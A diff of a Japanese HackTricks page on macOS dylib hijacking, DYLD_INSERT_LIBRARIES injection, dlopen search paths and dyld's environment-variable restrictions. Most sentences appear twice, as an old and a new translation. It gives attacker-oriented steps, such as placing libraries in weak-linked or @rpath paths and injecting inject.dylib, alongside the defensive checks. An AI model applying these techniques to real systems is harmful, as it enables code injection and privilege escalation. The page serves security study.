* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% hint style="danger" %}
**dyldのコードはオープンソース**であり、[https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/)で見つけることができ、**URL**を使用してtarをダウンロードすることができます。[https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
**dyldのコードはオープンソース**であり、[https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/)で見つけることができ、**URLのようなもので**tarとしてダウンロードできます[https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
{% endhint %}
## **Dyldプロセス**
バイナリ内でDyldがライブラリをどのようにロードするかを見てみましょう
Dyldがバイナリ内でライブラリを読み込む方法を確認してください
{% content-ref url="macos-dyld-process.md" %}
[macos-dyld-process.md](macos-dyld-process.md)
@ -28,73 +29,73 @@ HackTricksをサポートする他の方法
## **DYLD\_INSERT\_LIBRARIES**
これは[**LinuxのLD\_PRELOADに似た**](../../../../linux-hardening/privilege-escalation/#ld\_preload)ものです。プロセスに特定のライブラリをロードするためのパスを指定することができます(環境変数が有効っている場合)
これは[**LinuxのLD\_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld\_preload)のようなものです。特定のライブラリをパスから読み込むために実行されるプロセスを指定することができます(環境変数が有効な場合)
このテクニックは、インストールされたすべてのアプリケーションに「Info.plist」というplistがあるため、`LSEnvironmental`というキーを使用して**環境変数を割り当てる**ことができるため、**ASEPテクニックとしても使用**できます
この技術は、すべてのインストールされたアプリケーションに「Info.plist」と呼ばれるplistがあり、`LSEnvironmental`というキーを使用して**環境変数を割り当てることができるため**、**ASEP技術としても使用される可能性があります**
{% hint style="info" %}
2012年以降、**Appleは`DYLD_INSERT_LIBRARIES`の権限を大幅に削減**しています
2012年以降、**Appleは`DYLD_INSERT_LIBRARIES`の権限を大幅に制限しました**
コードに移動して、`src/dyld.cpp`を**確認**してください。関数**`pruneEnvironmentVariables`**では、**`DYLD_*`**変数が削除されていることがわかります。
コードを確認し、**`src/dyld.cpp`**をチェックしてください。関数**`pruneEnvironmentVariables`**では、**`DYLD_*`**変数が削除されることがわかります。
関数**`processRestricted`**では、制限の理由が設定されています。そのコードを確認すると、理由は次のとおりです
関数**`processRestricted`**では、制限の理由が設定されます。そのコードを確認すると、理由は次のとおりです
- バイナリが`setuid/setgid`である
- machoバイナリに`__RESTRICT/__restrict`セクションが存在する
- ソフトウェアに[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)権限がないハード化されたランタイムの権限
- バイナリの**権限**を次のように確認する`codesign -dv --entitlements :- </path/to/bin>`
* バイナリが`setuid/setgid`である
* machoバイナリに`__RESTRICT/__restrict`セクションが存在する
* ソフトウェアに[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)権限なしで権限がある(ハードンされたランタイム)
* バイナリの**権限**を確認するには`codesign -dv --entitlements :- </path/to/bin>`
より新しいバージョンでは、このロジック関数**`configureProcessRestrictions`**の後半に見つけることができます。ただし、新しいバージョンで実行されるのは関数の**最初のチェック**ですiOSやシミュレーションに関連するif文はmacOSでは使用されないため、それらを削除できます)。
より新しいバージョンでは、このロジック関数**`configureProcessRestrictions`**の後半に見つけることができます。ただし、新しいバージョンで実行されるのは関数の**最初のチェック**ですiOSやシミュレーションに関連するifを削除できます。これらはmacOSでは使用されません)。
{% endhint %}
### ライブラリの検証
バイナリが**`DYLD_INSERT_LIBRARIES`**環境変数を使用することを許可していても、バイナリがライブラリの署名をチェックしてロードする場合、カスタムライブラリはロードされません。
バイナリが**`DYLD_INSERT_LIBRARIES`**環境変数の使用を許可していても、バイナリが読み込むライブラリの署名をチェックする場合、カスタムライブラリは読み込まれません。
カスタムライブラリをロードするには、バイナリに次のいずれかの権限が必要です。
カスタムライブラリを読み込むには、バイナリが次の**いずれかの権限**を持っている必要があります:
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
またはバイナリには**ハード化されたランタイムフラグ**または**ライブラリ検証フラグ**がない必要があります。
または、バイナリは**ハードンされたランタイムフラグ**または**ライブラリ検証フラグ**を持っていない必要があります。
バイナリが**ハードされたランタイム**を持っているかどうかは、`codesign --display --verbose <bin>`で確認し、**`CodeDirectory`**内のランタイムフラグを確認します。例**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
バイナリが**ハードされたランタイム**を持っているかどうかは、`codesign --display --verbose <bin>`を使用して、**`CodeDirectory`**内のフラグruntimeを確認できます**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
また、バイナリと**同じ証明書で署名されたライブラリ**をロードすることもできます。
バイナリが**同じ証明書で署名されている**場合、ライブラリを読み込むこともできます。
れを悪用する例と制限事項を確認するための例を次で見つけることができます
の方法を(悪用)する方法と制限を確認する例を見つけてください
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Dylibハイジャッキング
## Dylibハイジャッ
{% hint style="danger" %}
**以前のライブラリ検証の制限**も、Dylibハイジャッキング攻撃を実行するために適用されます。
**以前のライブラリ検証制限もDylibハイジャック攻撃を実行するために適用されることを忘れないでください。**
{% endhint %}
Windowsと同様に、MacOSでも**dylibsをハイジャック**して**アプリケーション**が**任意のコードを実行**することができます(実際、通常のユーザーからでは`.app`バンドル内に書き込むTCC権限が必要かもしれません)。\
ただし、**MacOS**アプリケーションがライブラリをロードする方法は**Windows**よりも**制限されて**います。これは、**マルウェア**開発者がこのテクニックを**ステルス**に使用できる可能性があるが、特権を昇格させるためにこれを悪用する可能性は低いことを意味します
Windowsと同様に、MacOSでも**dylibsをハイジャック**して**アプリケーション**に**任意の**コードを**実行**させることができます(実際には、通常のユーザーからは、`.app`バンドル内に書き込むためにTCC権限が必要なため、これは不可能かもしれません)。\
ただし、**MacOS**アプリケーションが**ライブラリを読み込む**方法は**Windowsよりも制限されています**。これは、**マルウェア**開発者がこの技術を**隠密性**のために使用できる可能性があることを意味しますが、**権限を昇格させるために悪用できる可能性ははるかに低くなります**
まず第一に、**MacOSバイナリがライブラリをロードする際にフルパスを指定**することが**一般的**です。第二に、**MacOSは決して** **$PATH**のフォルダを検索しません
まず第一に、**MacOSバイナリがライブラリを読み込むための完全なパスを示すことが**より一般的です。第二に、**MacOSはライブラリのために**$PATH**のフォルダを決して検索しません**
この機能に関連する**コード**の**主要部分**は、`ImageLoader.cpp`の**`ImageLoader::recursiveLoadLibraries`**にあります。
この機能に関連する**コードの主な部分**は、`ImageLoader.cpp`の**`ImageLoader::recursiveLoadLibraries`**にあります。
machoバイナリがライブラリをロードするために使用できる**4つの異なるヘッダーコマンド**があります。
machoバイナリがライブラリを読み込むために使用できる**4つの異なるヘッダーコマンド**があります:
- **`LC_LOAD_DYLIB`**コマンドは、dylibをロードする一般的なコマンドです。
- **`LC_LOAD_WEAK_DYLIB`**コマンドは前のコマンドと同様に機能しますが、dylibが見つからない場合、エラーなしで実行が続行されます。
- **`LC_REEXPORT_DYLIB`**コマンドは、異なるライブラリからシンボルをプロキシ(または再エクスポート)します。
- **`LC_LOAD_UPWARD_DYLIB`**コマンドは、お互いに依存する2つのライブラリがある場合に使用されますこれは_上向き依存性_と呼ばれます
* **`LC_LOAD_DYLIB`**コマンドはdylibを読み込むための一般的なコマンドです。
* **`LC_LOAD_WEAK_DYLIB`**コマンドは前のコマンドと同様に機能しますが、dylibが見つからない場合、エラーなしで実行が続行されます。
* **`LC_REEXPORT_DYLIB`**コマンドは、別のライブラリからシンボルをプロキシ(または再エクスポート)します。
* **`LC_LOAD_UPWARD_DYLIB`**コマンドは、2つのライブラリが互いに依存している場合に使用されますこれは_上向き依存関係_と呼ばれます
ただし、**2種類のdylibハイジャッキング**があります。
ただし、**dylibハイジャックには2種類あります**
- **弱リンクされたライブラリが不足している**:これは、アプリケーションが存在しないライブラリを**LC\_LOAD\_WEAK\_DYLIB**で構成してロードしようとすることを意味します。その後、**攻撃者が期待される場所にdylibを配置すると、ロードされます**。
- リンクが「弱い」という事実は、ライブラリが見つからなくてもアプリケーションが実行を続行することを意味します。
- これに関連する**コード**は、`ImageLoaderMachO.cpp`の`ImageLoaderMachO::doGetDependentLibraries`関数にあり、`lib->required`が`LC_LOAD_WEAK_DYLIB`がtrueの場合にのみ`false`になります。
- バイナリ内の**弱リンクされたライブラリ**を見つけるには(後でハイジャックライブラリを作成する方法の例があります):
- ```bash
* **欠落している弱リンクライブラリ**:これは、アプリケーションが**LC\_LOAD\_WEAK\_DYLIB**で構成された存在しないライブラリを読み込もうとすることを意味します。次に、**攻撃者が期待される場所にdylibを配置すると、それが読み込まれます**。
* リンクが「弱い」ということは、ライブラリが見つからなくてもアプリケーションは実行を続けることを意味します。
* **これに関連するコード**は、`ImageLoaderMachO::doGetDependentLibraries`の関数内にあり、`lib->required`は`LC_LOAD_WEAK_DYLIB`がtrueのときのみ`false`です。
* バイナリ内の**弱リンクライブラリを見つける**には(後でハイジャックライブラリを作成する方法の例があります):
* ```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56
name /var/tmp/lib/libUtl.1.dylib (offset 24)
@ -102,26 +103,26 @@ time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0
compatibility version 1.0.0
```
- **@rpathで構成**されているMach-Oバイナリには**`LC_RPATH`**と**`LC_LOAD_DYLIB`**コマンドが含まれています。これらのコマンドの**値**に基づいて、**異なるディレクトリ**から**ライブラリ**が**ロード**されます
- **`LC_RPATH`**には、バイナリで使用されるいくつかのフォルダのパスが含まれています。
* **`LC_LOAD_DYLIB`** には読み込む特定のライブラリのパスが含まれます。これらのパスには **`@rpath`** が含まれることがあり、これは **`LC_RPATH`** の値で置き換えられます。**`LC_RPATH`** に複数のパスがある場合、すべてのパスが使用されてライブラリを検索します。例:
* もし **`LC_LOAD_DYLIB`** が `@rpath/library.dylib` を含み、**`LC_RPATH`** が `/application/app.app/Contents/Framework/v1/``/application/app.app/Contents/Framework/v2/` を含む場合、両方のフォルダが `library.dylib` を読み込むために使用されます。もしライブラリが `[...]/v1/` に存在しない場合、攻撃者はそこに配置して `[...]/v2/` のライブラリの読み込みを乗っ取ることができます。なぜなら **`LC_LOAD_DYLIB`** のパスの順序に従うからです。
* バイナリ内の **rpath パスとライブラリ** を見つけるには、次のコマンドを使用します: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
* **@rpathで構成されている**Mach-Oバイナリは**`LC_RPATH`**および**`LC_LOAD_DYLIB`**コマンドを持つことができます。これらのコマンドの**値**に基づいて、**ライブラリ**は**異なるディレクトリ**から**読み込まれます**
* **`LC_RPATH`**には、バイナリによってライブラリを読み込むために使用されるいくつかのフォルダのパスが含まれています。
* **`LC_LOAD_DYLIB`**には、読み込む特定のライブラリへのパスが含まれています。これらのパスには**`@rpath`**が含まれる場合があり、これは**`LC_RPATH`**の値によって**置き換えられます**。**`LC_RPATH`**に複数のパスがある場合、すべてがライブラリを読み込むために使用されます。例:
* **`LC_LOAD_DYLIB`**に`@rpath/library.dylib`が含まれ、**`LC_RPATH`**に`/application/app.app/Contents/Framework/v1/`および`/application/app.app/Contents/Framework/v2/`が含まれている場合。両方のフォルダが`library.dylib`を読み込むために使用されます。ライブラリが`[...] /v1/`に存在しない場合、攻撃者はそこに配置して`[...] /v2/`のライブラリの読み込みをハイジャックできます。**`LC_LOAD_DYLIB`**のパスの順序が守られます。
* バイナリ内の**rpathパスとライブラリを見つける**には:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
{% hint style="info" %}
**`@executable_path`**: **メイン実行ファイル** を含むディレクトリへの **パス** です。
**`@executable_path`**:は**メイン実行可能ファイル**を含むディレクトリへの**パス**です。
**`@loader_path`**: **Mach-O バイナリ** を含む **ディレクトリ** への **パス** です。
**`@loader_path`**:は**ロードコマンド**を含む**Mach-Oバイナリ**を含む**ディレクトリ**への**パス**です。
* 実行ファイルで使用される場合、**`@loader_path`** は実質的に **`@executable_path`** と同じです。
* **dylib** で使用される場合、**`@loader_path`** は **dylib** への **パス** を提供します。
* 実行可能ファイルで使用されると、**`@loader_path`**は実質的に**`@executable_path`**と同じです。
* **dylib**で使用されると、**`@loader_path`**は**dylib**への**パス**を提供します。
{% endhint %}
この機能を悪用して **権を昇格** する方法は、**root** によって実行されている **アプリケーション** **攻撃者が書き込み権限を持つフォルダ** でいくつかの **ライブラリを探している** 珍しいケースです。
この機能を悪用して**権を昇格させる**方法は、**root**によって実行されている**アプリケーション**が**攻撃者が書き込み権限を持つフォルダ内のライブラリを探している**という稀なケースにあります。
{% hint style="success" %}
アプリケーション内**不足しているライブラリ** を見つけるための便利な **スキャナー** は [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) や [**CLI バージョン**](https://github.com/pandazheng/DylibHijack) です。\
このテクニックに関する技術的な詳細を含む素晴らしい **レポート** は [**こちら**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) で見つけることができます。
アプリケーション内の**欠落しているライブラリ**を見つけるための優れた**スキャナー**は[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。\
この技術に関する**技術的詳細**を含む優れた**レポート**は[**こちら**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)で見つけることができます。
{% endhint %}
**例**
@ -130,68 +131,68 @@ compatibility version 1.0.0
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Dlopen Hijacking
## Dlopenハイジャック
{% hint style="danger" %}
**以前のライブラリ検証制限も** Dlopen ハイジャック攻撃を実行するために適用されることを覚えておいてください。
**以前のライブラリ検証制限もDlopenハイジャック攻撃を実行するために適用されることを忘れないでください。**
{% endhint %}
**`man dlopen`** より:
**`man dlopen`**から:
* パスに **スラッシュ文字が含まれていない** 場合(つまり、単なるリーフ名の場合)、**dlopen() は検索を行います**。もし起動時に **`$DYLD_LIBRARY_PATH`** が設定されていた場合、dyld はまずそのディレクトリを検索します。次に、呼び出し元の mach-o ファイルまたはメイン実行ファイルが **`LC_RPATH`** を指定している場合、dyld はそのディレクトリを検索します。次に、プロセスが **制限されていない** 場合、dyld は **現在の作業ディレクトリ** を検索します。最後に、古いバイナリの場合、dyld はいくつかのフォールバックを試みます。もし起動時に **`$DYLD_FALLBACK_LIBRARY_PATH`** が設定されていた場合、dyld はそのディレクトリを検索します。そうでない場合、dyld は **`/usr/local/lib/`** を検索し(プロセスが制限されていない場合)、次に **`/usr/lib/`** を検索します(この情報は **`man dlopen`** から取得されました)。
* パスに**スラッシュ文字が含まれていない**場合(つまり、単なるリーフ名の場合)、**dlopen()は検索を行います**。**`$DYLD_LIBRARY_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリを**検索します**。次に、呼び出し元のmach-oファイルまたはメイン実行可能ファイルが**`LC_RPATH`**を指定している場合、dyldは**それらの**ディレクトリを**検索します**。次に、プロセスが**制限されていない**場合、dyldは**現在の作業ディレクトリ**を検索します。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldは**それらのディレクトリを検索します**。そうでない場合、dyldは**`/usr/local/lib/`**(プロセスが制限されていない場合)を検索し、その後**`/usr/lib/`**を検索します(この情報は**`man dlopen`**から取得されました)。
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(制限されていない場合)
4. `$DYLD_FALLBACK_LIBRARY_PATH`
5. `/usr/local/lib/`(制限されてい場合)
5. `/usr/local/lib/`(制限されていない場合)
6. `/usr/lib/`
{% hint style="danger" %}
名前にスラッシュが含まれていない場合、ハイジャックを行う方法は 2 つあります:
名前にスラッシュがない場合、ハイジャックを行う方法は2つあります
* 任意の **`LC_RPATH`** が **書き込み可能** である場合(ただし署名がチェックされるため、バイナリが制限されていない場合も必要です)
* バイナリが **制限されていない** 場合、CWD から何かをロードすることが可能です(または言及されている環境変数のいずれかを悪用することが可能です)
* いずれかの**`LC_RPATH`**が**書き込み可能**である場合(ただし署名がチェックされるため、これにはバイナリが制限されていない必要があります)
* バイナリが**制限されていない**場合、CWDから何かを読み込むことが可能ですまたは前述の環境変数のいずれかを悪用することができます)
{% endhint %}
* パスが **フレームワークのパスのように見える場合**(例: `/stuff/foo.framework/foo`)、起動時に **`$DYLD_FRAMEWORK_PATH`** が設定されていた場合、dyld は最初にそのディレクトリを検索して **フレームワークの部分パス**(例: `foo.framework/foo`を探します。次に、dyld は **提供されたパスをそのまま** 試します(相対パスの場合は現在の作業ディレクトリを使用します。最後に、古いバイナリの場合、dyld はいくつかのフォールバックを試みます。もし起動時に **`$DYLD_FALLBACK_FRAMEWORK_PATH`** が設定されていた場合、dyld はそのディレクトリを検索します。そうでない場合、dyld **`/Library/Frameworks`** を検索しますmacOS プロセスが制限されていない場合)、次に **`/System/Library/Frameworks`** を検索します。
* パスが**フレームワークのように見える**場合(例:`/stuff/foo.framework/foo`)、**`$DYLD_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリで**フレームワーク部分パス**(例:`foo.framework/foo`を検索します。次に、dyldは**提供されたパスをそのまま試みます**相対パスの場合は現在の作業ディレクトリを使用。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、dyldは**`/Library/Frameworks`**macOSでプロセスが制限されていない場合、次に**`/System/Library/Frameworks`**を検索します。
1. `$DYLD_FRAMEWORK_PATH`
2. 提供されたパス(制限されているプロセスの場合は相対パスの場合は現在の作業ディレクトリを使用)
2. 提供されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks`(制限されてい場合)
4. `/Library/Frameworks`(制限されていない場合)
5. `/System/Library/Frameworks`
{% hint style="danger" %}
フレームワークパスの場合、ハイジャックする方法は次のとおりです:
フレームワークパスの場合、ハイジャックする方法は次のとおりです
* プロセスが **制限されていない** 場合、CWD からの **相対パス** や言及されている環境変数を悪用することが可能です(ドキュメントにはプロセスが制限されている場合 DYLD\_\* 環境変数が削除されるかどうかは記載されていません)
* プロセスが**制限されていない**場合、CWDからの**相対パス**を悪用することができます。前述の環境変数プロセスが制限されている場合はDYLD\_\*環境変数が削除されると文書には記載されていませんが)を使用します。
{% endhint %}
* パスに **スラッシュが含まれているがフレームワークパスではない場合**つまり、dylib への完全パスまたは部分パスの場合、dlopen() は最初に(設定されている場合) **`$DYLD_LIBRARY_PATH`** 内のパスパスのリーフ部分を使用を検索します。次に、dyld は提供されたパスを試します(制限されているプロセスの場合は相対パスの場合は現在の作業ディレクトリを使用します。最後に、古いバイナリの場合、dyld はフォールバックを試みます。もし起動時に **`$DYLD_FALLBACK_LIBRARY_PATH`** が設定されていた場合、dyld はそのディレクトリを検索します。そうでない場合、dyld は **`/usr/local/lib/`** を検索し(プロセスが制限されている場合)、次に **`/usr/lib/`** を検索します。
* パスに**スラッシュが含まれているがフレームワークパスではない**場合つまり、dylibへの完全パスまたは部分的なパス、dlopen()は最初に(設定されている場合)**`$DYLD_LIBRARY_PATH`**パスのリーフ部分を使用を検索します。次に、dyldは**提供されたパスを試みます**相対パスの場合は現在の作業ディレクトリを使用しますが、制限されていないプロセスの場合のみ。最後に、古いバイナリの場合、dyldはフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、dyldは**`/usr/local/lib/`**(プロセスが制限されていない場合)を検索し、その後**`/usr/lib/`**を検索します。
1. `$DYLD_LIBRARY_PATH`
2. 提供されたパス(制限されているプロセスの場合は相対パスの場合は現在の作業ディレクトリを使用)
2. 提供されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/`(制限されてい場合)
4. `/usr/local/lib/`(制限されていない場合)
5. `/usr/lib/`
{% hint style="danger" %}
名前にスラッシュが含まれており、フレームワークではない場合、ハイジャックする方法は次のとおりです:
名前にスラッシュがあり、フレームワークでない場合、ハイジャックする方法は次のとおりです:
* バイナリが **制限されていない** 場合、CWD から何かをロードすることが可能です、または `/usr/local/lib` から何かをロードすることが可能です(または言及されている環境変数のいずれかを悪用することが可能です)
* バイナリが**制限されていない**場合、CWDまたは`/usr/local/lib`から何かを読み込むことが可能です(または前述の環境変数のいずれかを悪用することができます)
{% endhint %}
{% hint style="info" %}
注意: **dlopen の検索を制御する** 構成ファイルは **存在しません**
注意**dlopen検索を制御するための**設定ファイルは**ありません**
注意: メイン実行ファイルが **set\[ug\]id バイナリまたは権限付与コードで署名されている** 場合、**すべての環境変数が無視** され、完全パスのみが使用されます(詳細については [DYLD\_INSERT\_LIBRARIES 制限を確認](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions) してください
注意:メイン実行可能ファイルが**set\[ug]idバイナリまたは権限でコードサインされている場合、**すべての環境変数は無視され**、完全なパスのみが使用できます(詳細情報については[DYLD\_INSERT\_LIBRARIES制限を確認してください](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions)
注意: Apple プラットフォームでは、32 ビットと 64 ビットのライブラリを組み合わせた "universal" ファイルが使用されます。これは **別々の 32 ビットと 64 ビットの検索パスが存在しない** ことを意味します
注意Appleプラットフォームは、32ビットと64ビットのライブラリを組み合わせるために「ユニバーサル」ファイルを使用します。これは、**32ビットと64ビットの検索パスが別々に存在しないことを意味します**
注意: Apple プラットフォームでは、ほとんどの OS dylib が **dyld キャッシュに統合** されており、ディスク上に存在しません。そのため、OS dylib が存在するかどうかを事前に確認するために **`stat()`** を呼び出すことは **機能しません**。ただし、**`dlopen_preflight()`** は互換性のある mach-o ファイルを見つけるために **`dlopen()`** と同じ手順を使用します。
注意Appleプラットフォームでは、ほとんどのOS dylibが**dyldキャッシュに統合され**、ディスク上には存在しません。したがって、OS dylibが存在するかどうかを事前確認するために**`stat()`**を呼び出すことは**機能しません**。ただし、**`dlopen_preflight()`**は、互換性のあるmach-oファイルを見つけるために**`dlopen()`**と同じ手順を使用します。
{% endhint %}
**パスを確認する**
以下のコードですべてのオプションを確認しましょう:
次のコードを使用してすべてのオプションを確認しましょう:
```c
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
#include <dlfcn.h>
@ -234,27 +235,27 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
もしコンパイルして実行すれば、**各ライブラリがどこで検索されなかったか**がわかります。また、**FSログをフィルタリング**することもできます:
もしコンパイルして実行すれば、**各ライブラリがどこで見つからなかったか**を見ることができます。また、**FSログをフィルタリングすることもできます**:
```bash
sudo fs_usage | grep "dlopentest"
```
## 相対パスハイジャック
**特権バイナリ/アプリ**たとえばSUIDまたは強力な権限を持つバイナリが**相対パス**ライブラリ(たとえば`@executable_path`や`@loader_path`を使用)を**ロード**しており、かつ**ライブラリ検証が無効**になっている場合、バイナリを攻撃者が**相対パスでロードされたライブラリを変更**できる位置に移動し、そのプロセスにコードをインジェクトすることが可能になるかもしれません
もし**特権バイナリ/アプリ**SUIDや強力な権限を持つバイナリなどが**相対パス**ライブラリを**読み込んでいる**(例えば`@executable_path`や`@loader_path`を使用して)場合、かつ**ライブラリ検証が無効**になっていると、攻撃者が**相対パスで読み込まれるライブラリを変更**できる場所にバイナリを移動させ、プロセスにコードを注入するためにそれを悪用することが可能です
## `DYLD_*`および`LD_LIBRARY_PATH`環境変数の整理
## `DYLD_*`および`LD_LIBRARY_PATH`環境変数の削除
ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`pruneEnvironmentVariables`** 関数があり、**`DYLD_`**で始まる環境変数と **`LD_LIBRARY_PATH=`** を削除します。
ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`pruneEnvironmentVariables`**という関数があり、**`DYLD_`**で始まる任意の環境変数と**`LD_LIBRARY_PATH=`**を削除します。
また、**suid**および**sgid**バイナリに対して、この関数は明示的に**`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。
また、**suid**および**sgid**バイナリのために、特に環境変数**`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。
この関数は、OSXをターゲットにしている場合、同じファイルの**`_main`** 関数から次のように呼び出されます:
この関数は、OSXをターゲットにする場合、同じファイルの**`_main`**関数から呼び出されます。
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple);
```
そしてこれらのブールフラグはコード内の同じファイルで設定されています:
そして、それらのブールフラグはコード内の同じファイルに設定されています:
```cpp
#if TARGET_OS_OSX
// support chrooting from old kernel
@ -285,9 +286,9 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
これは基本的に、バイナリが**suid**または**sgid**であるか、ヘッダーに**RESTRICT**セグメントがあるか、**CS\_RESTRICT**フラグで署名されている場合、**`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** がtrueであり、環境変数が削除されます。
基本的に、バイナリが**suid**または**sgid**であるか、ヘッダーに**RESTRICT**セグメントがあるか、**CS\_RESTRICT**フラグで署名されている場合、**`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**が真となり、環境変数は削除されます。
CS\_REQUIRE\_LVがtrueの場合、変数は削除されませんが、ライブラリ検証は元のバイナリと同じ証明書を使用していることを確認します。
CS\_REQUIRE\_LVが真である場合、変数は削除されませんが、ライブラリ検証はそれらが元のバイナリと同じ証明書を使用しているかどうかを確認します。
## 制限の確認
@ -307,9 +308,9 @@ sudo chmod -s hello
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### ハードされたランタイム
### ハードされたランタイム
Keychain に新しい証明書を作成し、それを使用してバイナリに署名します:
Keychainで新しい証明書を作成し、それを使用してバイナリに署名します:
{% code overflow="wrap" %}
```bash
@ -334,13 +335,13 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %}
{% hint style="danger" %}
`0x0(none)`フラグで署名されたバイナリがあっても、実行時に**`CS_RESTRICT`**フラグを動的に取得することができるため、このテクニックはそれらで機能しません。
注意してください。**`0x0(none)`** フラグで署名されたバイナリがあっても、実行時に **`CS_RESTRICT`** フラグを動的に取得することができるため、この技術はそれらには機能しません。
このフラグを持つprocを確認することができます[ここでcsopsを取得](https://github.com/axelexic/CSOps):
プロセスがこのフラグを持っているかどうかは、([**csops こちら**](https://github.com/axelexic/CSOps))で確認できます:
```bash
csops -status <pid>
```
そして、フラグ0x800が有効になっているかどうかをチェックします。
そして、フラグ0x800が有効になっているか確認します。
{% endhint %}
## 参考文献
@ -348,16 +349,17 @@ csops -status <pid>
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
* [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
